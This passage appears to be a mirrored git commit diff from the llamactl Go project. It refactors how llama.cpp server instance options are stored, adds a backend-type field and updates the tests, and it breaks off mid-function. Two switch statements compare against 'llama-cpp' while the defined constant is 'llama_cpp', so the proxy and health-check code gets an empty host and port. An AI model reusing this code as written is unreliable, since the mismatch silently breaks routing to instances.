mirror of
https://github.com/lordmathis/llamactl.git
synced 2025-11-06 09:04:27 +00:00
Refactor instance management to support backend types and options
This commit is contained in:
7
pkg/backends/backend.go
Normal file
7
pkg/backends/backend.go
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
package backends
|
||||||
|
|
||||||
|
type BackendType string
|
||||||
|
|
||||||
|
const (
|
||||||
|
BackendTypeLlamaCpp BackendType = "llama_cpp"
|
||||||
|
)
|
||||||
@@ -5,7 +5,7 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/config"
|
"llamactl/pkg/config"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -29,52 +29,6 @@ func (realTimeProvider) Now() time.Time {
|
|||||||
return time.Now()
|
return time.Now()
|
||||||
}
|
}
|
||||||
|
|
||||||
type CreateInstanceOptions struct {
|
|
||||||
// Auto restart
|
|
||||||
AutoRestart *bool `json:"auto_restart,omitempty"`
|
|
||||||
MaxRestarts *int `json:"max_restarts,omitempty"`
|
|
||||||
RestartDelay *int `json:"restart_delay,omitempty"`
|
|
||||||
// On demand start
|
|
||||||
OnDemandStart *bool `json:"on_demand_start,omitempty"`
|
|
||||||
// Idle timeout
|
|
||||||
IdleTimeout *int `json:"idle_timeout,omitempty"`
|
|
||||||
// LlamaServerOptions contains the options for the llama server
|
|
||||||
llamacpp.LlamaServerOptions `json:",inline"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
|
|
||||||
// This is needed because the embedded LlamaServerOptions has its own UnmarshalJSON
|
|
||||||
// which can interfere with proper unmarshaling of the pointer fields
|
|
||||||
func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
|
|
||||||
// First, unmarshal into a temporary struct without the embedded type
|
|
||||||
type tempCreateOptions struct {
|
|
||||||
AutoRestart *bool `json:"auto_restart,omitempty"`
|
|
||||||
MaxRestarts *int `json:"max_restarts,omitempty"`
|
|
||||||
RestartDelay *int `json:"restart_delay,omitempty"`
|
|
||||||
OnDemandStart *bool `json:"on_demand_start,omitempty"`
|
|
||||||
IdleTimeout *int `json:"idle_timeout,omitempty"`
|
|
||||||
}
|
|
||||||
|
|
||||||
var temp tempCreateOptions
|
|
||||||
if err := json.Unmarshal(data, &temp); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// Copy the pointer fields
|
|
||||||
c.AutoRestart = temp.AutoRestart
|
|
||||||
c.MaxRestarts = temp.MaxRestarts
|
|
||||||
c.RestartDelay = temp.RestartDelay
|
|
||||||
c.OnDemandStart = temp.OnDemandStart
|
|
||||||
c.IdleTimeout = temp.IdleTimeout
|
|
||||||
|
|
||||||
// Now unmarshal the embedded LlamaServerOptions
|
|
||||||
if err := json.Unmarshal(data, &c.LlamaServerOptions); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Process represents a running instance of the llama server
|
// Process represents a running instance of the llama server
|
||||||
type Process struct {
|
type Process struct {
|
||||||
Name string `json:"name"`
|
Name string `json:"name"`
|
||||||
@@ -110,101 +64,17 @@ type Process struct {
|
|||||||
timeProvider TimeProvider `json:"-"` // Time provider for testing
|
timeProvider TimeProvider `json:"-"` // Time provider for testing
|
||||||
}
|
}
|
||||||
|
|
||||||
// validateAndCopyOptions validates and creates a deep copy of the provided options
|
|
||||||
// It applies validation rules and returns a safe copy
|
|
||||||
func validateAndCopyOptions(name string, options *CreateInstanceOptions) *CreateInstanceOptions {
|
|
||||||
optionsCopy := &CreateInstanceOptions{}
|
|
||||||
|
|
||||||
if options != nil {
|
|
||||||
// Copy the embedded LlamaServerOptions
|
|
||||||
optionsCopy.LlamaServerOptions = options.LlamaServerOptions
|
|
||||||
|
|
||||||
// Copy and validate pointer fields
|
|
||||||
if options.AutoRestart != nil {
|
|
||||||
autoRestart := *options.AutoRestart
|
|
||||||
optionsCopy.AutoRestart = &autoRestart
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.MaxRestarts != nil {
|
|
||||||
maxRestarts := *options.MaxRestarts
|
|
||||||
if maxRestarts < 0 {
|
|
||||||
log.Printf("Instance %s MaxRestarts value (%d) cannot be negative, setting to 0", name, maxRestarts)
|
|
||||||
maxRestarts = 0
|
|
||||||
}
|
|
||||||
optionsCopy.MaxRestarts = &maxRestarts
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.RestartDelay != nil {
|
|
||||||
restartDelay := *options.RestartDelay
|
|
||||||
if restartDelay < 0 {
|
|
||||||
log.Printf("Instance %s RestartDelay value (%d) cannot be negative, setting to 0 seconds", name, restartDelay)
|
|
||||||
restartDelay = 0
|
|
||||||
}
|
|
||||||
optionsCopy.RestartDelay = &restartDelay
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.OnDemandStart != nil {
|
|
||||||
onDemandStart := *options.OnDemandStart
|
|
||||||
optionsCopy.OnDemandStart = &onDemandStart
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.IdleTimeout != nil {
|
|
||||||
idleTimeout := *options.IdleTimeout
|
|
||||||
if idleTimeout < 0 {
|
|
||||||
log.Printf("Instance %s IdleTimeout value (%d) cannot be negative, setting to 0 minutes", name, idleTimeout)
|
|
||||||
idleTimeout = 0
|
|
||||||
}
|
|
||||||
optionsCopy.IdleTimeout = &idleTimeout
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return optionsCopy
|
|
||||||
}
|
|
||||||
|
|
||||||
// applyDefaultOptions applies default values from global settings to any nil options
|
|
||||||
func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *config.InstancesConfig) {
|
|
||||||
if globalSettings == nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.AutoRestart == nil {
|
|
||||||
defaultAutoRestart := globalSettings.DefaultAutoRestart
|
|
||||||
options.AutoRestart = &defaultAutoRestart
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.MaxRestarts == nil {
|
|
||||||
defaultMaxRestarts := globalSettings.DefaultMaxRestarts
|
|
||||||
options.MaxRestarts = &defaultMaxRestarts
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.RestartDelay == nil {
|
|
||||||
defaultRestartDelay := globalSettings.DefaultRestartDelay
|
|
||||||
options.RestartDelay = &defaultRestartDelay
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.OnDemandStart == nil {
|
|
||||||
defaultOnDemandStart := globalSettings.DefaultOnDemandStart
|
|
||||||
options.OnDemandStart = &defaultOnDemandStart
|
|
||||||
}
|
|
||||||
|
|
||||||
if options.IdleTimeout == nil {
|
|
||||||
defaultIdleTimeout := 0
|
|
||||||
options.IdleTimeout = &defaultIdleTimeout
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewInstance creates a new instance with the given name, log path, and options
|
// NewInstance creates a new instance with the given name, log path, and options
|
||||||
func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions, onStatusChange func(oldStatus, newStatus InstanceStatus)) *Process {
|
func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions, onStatusChange func(oldStatus, newStatus InstanceStatus)) *Process {
|
||||||
// Validate and copy options
|
// Validate and copy options
|
||||||
optionsCopy := validateAndCopyOptions(name, options)
|
options.ValidateAndApplyDefaults(name, globalSettings)
|
||||||
// Apply defaults
|
|
||||||
applyDefaultOptions(optionsCopy, globalSettings)
|
|
||||||
// Create the instance logger
|
// Create the instance logger
|
||||||
logger := NewInstanceLogger(name, globalSettings.LogsDir)
|
logger := NewInstanceLogger(name, globalSettings.LogsDir)
|
||||||
|
|
||||||
return &Process{
|
return &Process{
|
||||||
Name: name,
|
Name: name,
|
||||||
options: optionsCopy,
|
options: options,
|
||||||
globalSettings: globalSettings,
|
globalSettings: globalSettings,
|
||||||
logger: logger,
|
logger: logger,
|
||||||
timeProvider: realTimeProvider{},
|
timeProvider: realTimeProvider{},
|
||||||
@@ -220,6 +90,30 @@ func (i *Process) GetOptions() *CreateInstanceOptions {
|
|||||||
return i.options
|
return i.options
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (i *Process) GetPort() int {
|
||||||
|
i.mu.RLock()
|
||||||
|
defer i.mu.RUnlock()
|
||||||
|
if i.options != nil {
|
||||||
|
switch i.options.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
return i.options.LlamaServerOptions.Port
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (i *Process) GetHost() string {
|
||||||
|
i.mu.RLock()
|
||||||
|
defer i.mu.RUnlock()
|
||||||
|
if i.options != nil {
|
||||||
|
switch i.options.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
return i.options.LlamaServerOptions.Host
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func (i *Process) SetOptions(options *CreateInstanceOptions) {
|
func (i *Process) SetOptions(options *CreateInstanceOptions) {
|
||||||
i.mu.Lock()
|
i.mu.Lock()
|
||||||
defer i.mu.Unlock()
|
defer i.mu.Unlock()
|
||||||
@@ -229,11 +123,10 @@ func (i *Process) SetOptions(options *CreateInstanceOptions) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validate and copy options and apply defaults
|
// Validate and copy options
|
||||||
optionsCopy := validateAndCopyOptions(i.Name, options)
|
options.ValidateAndApplyDefaults(i.Name, i.globalSettings)
|
||||||
applyDefaultOptions(optionsCopy, i.globalSettings)
|
|
||||||
|
|
||||||
i.options = optionsCopy
|
i.options = options
|
||||||
// Clear the proxy so it gets recreated with new options
|
// Clear the proxy so it gets recreated with new options
|
||||||
i.proxy = nil
|
i.proxy = nil
|
||||||
}
|
}
|
||||||
@@ -256,7 +149,15 @@ func (i *Process) GetProxy() (*httputil.ReverseProxy, error) {
|
|||||||
return nil, fmt.Errorf("instance %s has no options set", i.Name)
|
return nil, fmt.Errorf("instance %s has no options set", i.Name)
|
||||||
}
|
}
|
||||||
|
|
||||||
targetURL, err := url.Parse(fmt.Sprintf("http://%s:%d", i.options.Host, i.options.Port))
|
var host string
|
||||||
|
var port int
|
||||||
|
switch i.options.BackendType {
|
||||||
|
case "llama-cpp":
|
||||||
|
host = i.options.LlamaServerOptions.Host
|
||||||
|
port = i.options.LlamaServerOptions.Port
|
||||||
|
}
|
||||||
|
|
||||||
|
targetURL, err := url.Parse(fmt.Sprintf("http://%s:%d", host, port))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("failed to parse target URL for instance %s: %w", i.Name, err)
|
return nil, fmt.Errorf("failed to parse target URL for instance %s: %w", i.Name, err)
|
||||||
}
|
}
|
||||||
@@ -286,44 +187,36 @@ func (i *Process) MarshalJSON() ([]byte, error) {
|
|||||||
i.mu.RLock()
|
i.mu.RLock()
|
||||||
defer i.mu.RUnlock()
|
defer i.mu.RUnlock()
|
||||||
|
|
||||||
// Create a temporary struct with exported fields for JSON marshalling
|
// Use anonymous struct to avoid recursion
|
||||||
temp := struct {
|
type Alias Process
|
||||||
Name string `json:"name"`
|
return json.Marshal(&struct {
|
||||||
|
*Alias
|
||||||
Options *CreateInstanceOptions `json:"options,omitempty"`
|
Options *CreateInstanceOptions `json:"options,omitempty"`
|
||||||
Status InstanceStatus `json:"status"`
|
|
||||||
Created int64 `json:"created,omitempty"`
|
|
||||||
}{
|
}{
|
||||||
Name: i.Name,
|
Alias: (*Alias)(i),
|
||||||
Options: i.options,
|
Options: i.options,
|
||||||
Status: i.Status,
|
})
|
||||||
Created: i.Created,
|
|
||||||
}
|
|
||||||
|
|
||||||
return json.Marshal(temp)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// UnmarshalJSON implements json.Unmarshaler for Instance
|
// UnmarshalJSON implements json.Unmarshaler for Instance
|
||||||
func (i *Process) UnmarshalJSON(data []byte) error {
|
func (i *Process) UnmarshalJSON(data []byte) error {
|
||||||
// Create a temporary struct for unmarshalling
|
// Use anonymous struct to avoid recursion
|
||||||
temp := struct {
|
type Alias Process
|
||||||
Name string `json:"name"`
|
aux := &struct {
|
||||||
|
*Alias
|
||||||
Options *CreateInstanceOptions `json:"options,omitempty"`
|
Options *CreateInstanceOptions `json:"options,omitempty"`
|
||||||
Status InstanceStatus `json:"status"`
|
}{
|
||||||
Created int64 `json:"created,omitempty"`
|
Alias: (*Alias)(i),
|
||||||
}{}
|
}
|
||||||
|
|
||||||
if err := json.Unmarshal(data, &temp); err != nil {
|
if err := json.Unmarshal(data, aux); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set the fields
|
// Handle options with validation and defaults
|
||||||
i.Name = temp.Name
|
if aux.Options != nil {
|
||||||
i.Status = temp.Status
|
aux.Options.ValidateAndApplyDefaults(i.Name, i.globalSettings)
|
||||||
i.Created = temp.Created
|
i.options = aux.Options
|
||||||
|
|
||||||
// Handle options with validation but no defaults
|
|
||||||
if temp.Options != nil {
|
|
||||||
i.options = validateAndCopyOptions(i.Name, temp.Options)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package instance_test
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"llamactl/pkg/backends"
|
||||||
"llamactl/pkg/backends/llamacpp"
|
"llamactl/pkg/backends/llamacpp"
|
||||||
"llamactl/pkg/config"
|
"llamactl/pkg/config"
|
||||||
"llamactl/pkg/instance"
|
"llamactl/pkg/instance"
|
||||||
@@ -18,7 +19,8 @@ func TestNewInstance(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
},
|
},
|
||||||
@@ -27,22 +29,22 @@ func TestNewInstance(t *testing.T) {
|
|||||||
// Mock onStatusChange function
|
// Mock onStatusChange function
|
||||||
mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
|
mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
|
||||||
|
|
||||||
instance := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
|
inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
|
||||||
|
|
||||||
if instance.Name != "test-instance" {
|
if inst.Name != "test-instance" {
|
||||||
t.Errorf("Expected name 'test-instance', got %q", instance.Name)
|
t.Errorf("Expected name 'test-instance', got %q", inst.Name)
|
||||||
}
|
}
|
||||||
if instance.IsRunning() {
|
if inst.IsRunning() {
|
||||||
t.Error("New instance should not be running")
|
t.Error("New instance should not be running")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check that options were properly set with defaults applied
|
// Check that options were properly set with defaults applied
|
||||||
opts := instance.GetOptions()
|
opts := inst.GetOptions()
|
||||||
if opts.Model != "/path/to/model.gguf" {
|
if opts.LlamaServerOptions.Model != "/path/to/model.gguf" {
|
||||||
t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
|
t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.LlamaServerOptions.Model)
|
||||||
}
|
}
|
||||||
if opts.Port != 8080 {
|
if inst.GetPort() != 8080 {
|
||||||
t.Errorf("Expected port 8080, got %d", opts.Port)
|
t.Errorf("Expected port 8080, got %d", inst.GetPort())
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check that defaults were applied
|
// Check that defaults were applied
|
||||||
@@ -74,7 +76,8 @@ func TestNewInstance_WithRestartOptions(t *testing.T) {
|
|||||||
AutoRestart: &autoRestart,
|
AutoRestart: &autoRestart,
|
||||||
MaxRestarts: &maxRestarts,
|
MaxRestarts: &maxRestarts,
|
||||||
RestartDelay: &restartDelay,
|
RestartDelay: &restartDelay,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -106,7 +109,8 @@ func TestSetOptions(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
initialOptions := &instance.CreateInstanceOptions{
|
initialOptions := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
},
|
},
|
||||||
@@ -119,7 +123,8 @@ func TestSetOptions(t *testing.T) {
|
|||||||
|
|
||||||
// Update options
|
// Update options
|
||||||
newOptions := &instance.CreateInstanceOptions{
|
newOptions := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/new-model.gguf",
|
Model: "/path/to/new-model.gguf",
|
||||||
Port: 8081,
|
Port: 8081,
|
||||||
},
|
},
|
||||||
@@ -128,11 +133,11 @@ func TestSetOptions(t *testing.T) {
|
|||||||
inst.SetOptions(newOptions)
|
inst.SetOptions(newOptions)
|
||||||
opts := inst.GetOptions()
|
opts := inst.GetOptions()
|
||||||
|
|
||||||
if opts.Model != "/path/to/new-model.gguf" {
|
if opts.LlamaServerOptions.Model != "/path/to/new-model.gguf" {
|
||||||
t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model)
|
t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.LlamaServerOptions.Model)
|
||||||
}
|
}
|
||||||
if opts.Port != 8081 {
|
if inst.GetPort() != 8081 {
|
||||||
t.Errorf("Expected updated port 8081, got %d", opts.Port)
|
t.Errorf("Expected updated port 8081, got %d", inst.GetPort())
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check that defaults are still applied
|
// Check that defaults are still applied
|
||||||
@@ -147,7 +152,8 @@ func TestGetProxy(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Host: "localhost",
|
Host: "localhost",
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
},
|
},
|
||||||
@@ -186,7 +192,8 @@ func TestMarshalJSON(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
},
|
},
|
||||||
@@ -225,8 +232,26 @@ func TestMarshalJSON(t *testing.T) {
|
|||||||
if !ok {
|
if !ok {
|
||||||
t.Error("Expected options to be a map")
|
t.Error("Expected options to be a map")
|
||||||
}
|
}
|
||||||
if options_map["model"] != "/path/to/model.gguf" {
|
|
||||||
t.Errorf("Expected model '/path/to/model.gguf', got %v", options_map["model"])
|
// Check backend type
|
||||||
|
if options_map["backend_type"] != string(backends.BackendTypeLlamaCpp) {
|
||||||
|
t.Errorf("Expected backend_type '%s', got %v", backends.BackendTypeLlamaCpp, options_map["backend_type"])
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check backend options
|
||||||
|
backend_options_data, ok := options_map["backend_options"]
|
||||||
|
if !ok {
|
||||||
|
t.Error("Expected backend_options to be included in JSON")
|
||||||
|
}
|
||||||
|
backend_options_map, ok := backend_options_data.(map[string]any)
|
||||||
|
if !ok {
|
||||||
|
t.Error("Expected backend_options to be a map")
|
||||||
|
}
|
||||||
|
if backend_options_map["model"] != "/path/to/model.gguf" {
|
||||||
|
t.Errorf("Expected model '/path/to/model.gguf', got %v", backend_options_map["model"])
|
||||||
|
}
|
||||||
|
if backend_options_map["port"] != float64(8080) {
|
||||||
|
t.Errorf("Expected port 8080, got %v", backend_options_map["port"])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -235,10 +260,13 @@ func TestUnmarshalJSON(t *testing.T) {
|
|||||||
"name": "test-instance",
|
"name": "test-instance",
|
||||||
"status": "running",
|
"status": "running",
|
||||||
"options": {
|
"options": {
|
||||||
"model": "/path/to/model.gguf",
|
|
||||||
"port": 8080,
|
|
||||||
"auto_restart": false,
|
"auto_restart": false,
|
||||||
"max_restarts": 5
|
"max_restarts": 5,
|
||||||
|
"backend_type": "llama_cpp",
|
||||||
|
"backend_options": {
|
||||||
|
"model": "/path/to/model.gguf",
|
||||||
|
"port": 8080
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}`
|
}`
|
||||||
|
|
||||||
@@ -259,11 +287,17 @@ func TestUnmarshalJSON(t *testing.T) {
|
|||||||
if opts == nil {
|
if opts == nil {
|
||||||
t.Fatal("Expected options to be set")
|
t.Fatal("Expected options to be set")
|
||||||
}
|
}
|
||||||
if opts.Model != "/path/to/model.gguf" {
|
if opts.BackendType != backends.BackendTypeLlamaCpp {
|
||||||
t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
|
t.Errorf("Expected backend_type '%s', got %s", backends.BackendTypeLlamaCpp, opts.BackendType)
|
||||||
}
|
}
|
||||||
if opts.Port != 8080 {
|
if opts.LlamaServerOptions == nil {
|
||||||
t.Errorf("Expected port 8080, got %d", opts.Port)
|
t.Fatal("Expected LlamaServerOptions to be set")
|
||||||
|
}
|
||||||
|
if opts.LlamaServerOptions.Model != "/path/to/model.gguf" {
|
||||||
|
t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.LlamaServerOptions.Model)
|
||||||
|
}
|
||||||
|
if inst.GetPort() != 8080 {
|
||||||
|
t.Errorf("Expected port 8080, got %d", inst.GetPort())
|
||||||
}
|
}
|
||||||
if opts.AutoRestart == nil || *opts.AutoRestart {
|
if opts.AutoRestart == nil || *opts.AutoRestart {
|
||||||
t.Error("Expected AutoRestart to be false")
|
t.Error("Expected AutoRestart to be false")
|
||||||
@@ -313,7 +347,8 @@ func TestCreateInstanceOptionsValidation(t *testing.T) {
|
|||||||
options := &instance.CreateInstanceOptions{
|
options := &instance.CreateInstanceOptions{
|
||||||
MaxRestarts: tt.maxRestarts,
|
MaxRestarts: tt.maxRestarts,
|
||||||
RestartDelay: tt.restartDelay,
|
RestartDelay: tt.restartDelay,
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -40,7 +40,6 @@ func (i *Process) Start() error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
args := i.options.BuildCommandArgs()
|
args := i.options.BuildCommandArgs()
|
||||||
|
|
||||||
i.ctx, i.cancel = context.WithCancel(context.Background())
|
i.ctx, i.cancel = context.WithCancel(context.Background())
|
||||||
i.cmd = exec.CommandContext(i.ctx, "llama-server", args...)
|
i.cmd = exec.CommandContext(i.ctx, "llama-server", args...)
|
||||||
|
|
||||||
@@ -173,11 +172,17 @@ func (i *Process) WaitForHealthy(timeout int) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Build the health check URL directly
|
// Build the health check URL directly
|
||||||
host := opts.Host
|
var host string
|
||||||
|
var port int
|
||||||
|
switch opts.BackendType {
|
||||||
|
case "llama-cpp":
|
||||||
|
host = opts.LlamaServerOptions.Host
|
||||||
|
port = opts.LlamaServerOptions.Port
|
||||||
|
}
|
||||||
if host == "" {
|
if host == "" {
|
||||||
host = "localhost"
|
host = "localhost"
|
||||||
}
|
}
|
||||||
healthURL := fmt.Sprintf("http://%s:%d/health", host, opts.Port)
|
healthURL := fmt.Sprintf("http://%s:%d/health", host, port)
|
||||||
|
|
||||||
// Create a dedicated HTTP client for health checks
|
// Create a dedicated HTTP client for health checks
|
||||||
client := &http.Client{
|
client := &http.Client{
|
||||||
|
|||||||
141
pkg/instance/options.go
Normal file
141
pkg/instance/options.go
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
package instance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"llamactl/pkg/backends"
|
||||||
|
"llamactl/pkg/backends/llamacpp"
|
||||||
|
"llamactl/pkg/config"
|
||||||
|
"log"
|
||||||
|
)
|
||||||
|
|
||||||
|
type CreateInstanceOptions struct {
|
||||||
|
// Auto restart
|
||||||
|
AutoRestart *bool `json:"auto_restart,omitempty"`
|
||||||
|
MaxRestarts *int `json:"max_restarts,omitempty"`
|
||||||
|
RestartDelay *int `json:"restart_delay,omitempty"` // seconds
|
||||||
|
// On demand start
|
||||||
|
OnDemandStart *bool `json:"on_demand_start,omitempty"`
|
||||||
|
// Idle timeout
|
||||||
|
IdleTimeout *int `json:"idle_timeout,omitempty"` // minutes
|
||||||
|
|
||||||
|
BackendType backends.BackendType `json:"backend_type"`
|
||||||
|
BackendOptions map[string]any `json:"backend_options,omitempty"`
|
||||||
|
|
||||||
|
// LlamaServerOptions contains the options for the llama server
|
||||||
|
LlamaServerOptions *llamacpp.LlamaServerOptions `json:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
|
||||||
|
func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
|
||||||
|
// Use anonymous struct to avoid recursion
|
||||||
|
type Alias CreateInstanceOptions
|
||||||
|
aux := &struct {
|
||||||
|
*Alias
|
||||||
|
}{
|
||||||
|
Alias: (*Alias)(c),
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := json.Unmarshal(data, aux); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse backend-specific options
|
||||||
|
switch c.BackendType {
|
||||||
|
case backends.BackendTypeLlamaCpp:
|
||||||
|
if c.BackendOptions != nil {
|
||||||
|
// Convert map to JSON and then unmarshal to LlamaServerOptions
|
||||||
|
optionsData, err := json.Marshal(c.BackendOptions)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to marshal backend options: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
c.LlamaServerOptions = &llamacpp.LlamaServerOptions{}
|
||||||
|
if err := json.Unmarshal(optionsData, c.LlamaServerOptions); err != nil {
|
||||||
|
return fmt.Errorf("failed to unmarshal llama.cpp options: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("unknown backend type: %s", c.BackendType)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MarshalJSON implements custom JSON marshaling for CreateInstanceOptions
|
||||||
|
func (c *CreateInstanceOptions) MarshalJSON() ([]byte, error) {
|
||||||
|
// Use anonymous struct to avoid recursion
|
||||||
|
type Alias CreateInstanceOptions
|
||||||
|
aux := struct {
|
||||||
|
*Alias
|
||||||
|
}{
|
||||||
|
Alias: (*Alias)(c),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert LlamaServerOptions back to BackendOptions map for JSON
|
||||||
|
if c.BackendType == backends.BackendTypeLlamaCpp && c.LlamaServerOptions != nil {
|
||||||
|
data, err := json.Marshal(c.LlamaServerOptions)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to marshal llama server options: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var backendOpts map[string]any
|
||||||
|
if err := json.Unmarshal(data, &backendOpts); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to unmarshal to map: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
aux.BackendOptions = backendOpts
|
||||||
|
}
|
||||||
|
|
||||||
|
return json.Marshal(aux)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ValidateAndApplyDefaults validates the instance options and applies constraints
|
||||||
|
func (c *CreateInstanceOptions) ValidateAndApplyDefaults(name string, globalSettings *config.InstancesConfig) {
|
||||||
|
// Validate and apply constraints
|
||||||
|
if c.MaxRestarts != nil && *c.MaxRestarts < 0 {
|
||||||
|
log.Printf("Instance %s MaxRestarts value (%d) cannot be negative, setting to 0", name, *c.MaxRestarts)
|
||||||
|
*c.MaxRestarts = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
if c.RestartDelay != nil && *c.RestartDelay < 0 {
|
||||||
|
